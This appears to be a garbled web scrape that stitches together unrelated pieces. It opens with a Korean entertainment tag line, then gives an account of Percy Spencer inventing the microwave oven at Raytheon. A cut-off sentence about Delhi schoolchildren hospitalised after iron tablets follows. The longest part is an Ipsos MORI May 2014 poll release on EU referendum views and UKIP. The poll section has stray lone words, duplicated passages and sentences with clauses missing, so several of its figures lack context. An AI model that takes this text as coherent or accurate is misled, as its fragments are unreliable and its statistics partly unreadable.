PS. 우리의 핫뮤비 비하인드 스토리는, '스타캐스트'에만 공개하려고 해. 오는 7일, 네이버 메인화면을 뚫어지게 쳐다보라고!
정리=황수연기자 (Dispatch)
During World War II, Spencer was one of the leading experts in radar tube design working for Raytheon, a weapons and military electronics contractor associated with the American Department of Defense. He headed the division tasked to develop and produce combat radar equipment for M.I.T.’s Radiation Laboratory.
While building magnetrons one day, Spencer noticed the candy bar he had in his pocket had melted while he was standing in front of an active radar set. Intrigued, he investigated on what caused the candy bar to melt. He experimented with food, including popcorn kernels, which became the world’s first microwaved popcorn.
Spencer then took a kettle and cut a hole on its side. He placed a whole egg in the kettle and positioned the magnetron to direct the microwaves into the hole. The result was the egg exploding in the face of one of his co-workers, who were looking in the kettle to observe.
Spencer created the first true microwave oven by attaching a high density electromagnetic field generator to an enclosed metal box. The magnetron emitted microwaves into the metal box blocking any escape, allowing for controlled and safe experimentation. He then placed various food items in the box, while observing effects and monitoring temperatures. His work progressed well, so Raytheon filed a patent on October 8, 1945 for a microwave cooking oven, eventually named the Radarange.
The first commercially produced microwave oven was about 6 feet tall, weighed about 750lbs, and cost about $5000. In 1967 the first relatively affordable ($495) and reasonably sized (counter-top) microwave oven was released for sale. Today, no kitchen is complete without a microwave oven.
Spencer became Senior Vice President, and a Senior Member of the Board of Directors at Raytheon. He received 300 patents during his career there. He received no royalties for his invention, but he was paid a one-time, two-dollar gratuity from Raytheon - the same token payment the company made to all inventors on its payroll at that time, for company patents.
district, Delhi had its own scare when 21 kids had to be rushed to hospitals across the city after they were given iron and folic acid tablets during a government drive against
Ipsos MORI’s Political Monitor for May reveals a large shift in public opinion towards staying in the European Union over the last two years. More than half of Britons (54%) would vote to stay in the European Union in a referendum, with 37% saying they would vote to leave. This is a turnaround since we last asked the question in November 2012, prior to David Cameron’s pledge to provide a referendum were the Conservatives to win power in next year’s general election, when 44% said they would vote to stay in the EU, with 48% saying they would vote to get out.
not
not
Further, when asked ‘Generally speaking, do you think of yourself as Conservative, Labour, Liberal Democrat, UKIP, or what?’ – a measure of voter identification, known as ‘the Michigan question’ after research in the 1950s by the University of Michigan - just 5% think of themselves as UKIP, compared with an 11% overall vote share for the party according to this month’s Political Monitor. Labour have the largest share on the measure, with 31% of Britons considering themselves ‘Labour’. Just over a quarter (27%) consider themselves ‘Conservative’, while 9% think of themselves as ‘Liberal Democrat’. Despite this, half of Britons (51%) agree UKIP is highlighting important issues which other parties aren’t taking seriously enough (including 52% of Conservative supporters and 44% of Labour supporters), with 34% disagreeing. Opinion is more evenly split as to whether UKIP is out of touch with the modern world, with 43% saying they are a party out of touch with the modern world and 40% disagreeing. More Conservative supporters disagree with this description of UKIP (46%) than agree (40%), though Labour supporters are more critical (55% agree they were out of touch, 30% disagree). Gideon Skinner, Head of Political Research at Ipsos MORI said: “The rise of UKIP is one of the key political events over the last few years, even though many people still don’t see themselves casting a vote for UKIP, especially once the European elections are over. But the party is pushing some of the right buttons for the public - even among those who are planning on voting Labour or Conservative. Meanwhile, on the issues of the election, after several years of hostility to Europe after the crash, people seem more willing to stay in the EU – though a reduction in its powers is still more popular than further integration.” Ipsos MORI Political Monitor: May 2014 - Europe from Ipsos MORI from Downloads Download the survey topline (PDF)
Download the computer tables (PDF)
Download the charts (PDF) Technical note: Ipsos MORI interviewed a representative sample of 1,003 adults aged 18+ across Great Britain. Interviews were conducted by telephone 10th – 12th May 2014. Data are weighted to match the profile of the population. Ipsos MORI interviewed a representative sample of 1,003 adults aged 18+ across Great Britain. Interviews were conducted by telephone 10th – 12th May 2014. Data are weighted to match the profile of the population. , Head of Political Research at Ipsos MORI said: Despite this,(including 52% of Conservative supporters and 44% of Labour supporters), with 34% disagreeing., with 43% saying they are a party out of touch with the modern world and 40% disagreeing. More Conservative supporters disagree with this description of UKIP (46%) than agree (40%), though Labour supporters are more critical (55% agree they were out of touch, 30% disagree).
, however. Around three in ten each would prefer to see ‘Britain’s relationship with Europe remaining broadly the same as at present’ (32%) and ‘Britain returning to being part of an economic community, without political links’ (30%). One in five would like to see ‘Britain leaving the European Union altogether’ (20%), with ‘closer political and economic integration’ with other EU member states the least favoured option (13%). There is some indication that UKIP may struggle to carry their momentum into next year’s general election.. This figure is similar to that for the Liberal Democrats, voting for whom in a general election is considered a wasted vote by 54%. This does not appear to be a reflection of voter apathy generally, with just 11% agreeing that any vote in a general election is a wasted vote, compared with 83% disagreeing. When asked whether they would consider voting for the different parties or not,in the upcoming European elections (67% and 68% respectively). For the Conservatives and Labour, the figures are 57% and 51%. However, while the(for the Conservatives, 46% say they are certainto vote for them in 2015, 43% for Labour and 62% for the Liberal Democrats),. In fact, the proportion who say they are certain to vote for them halves from 9% to 4%.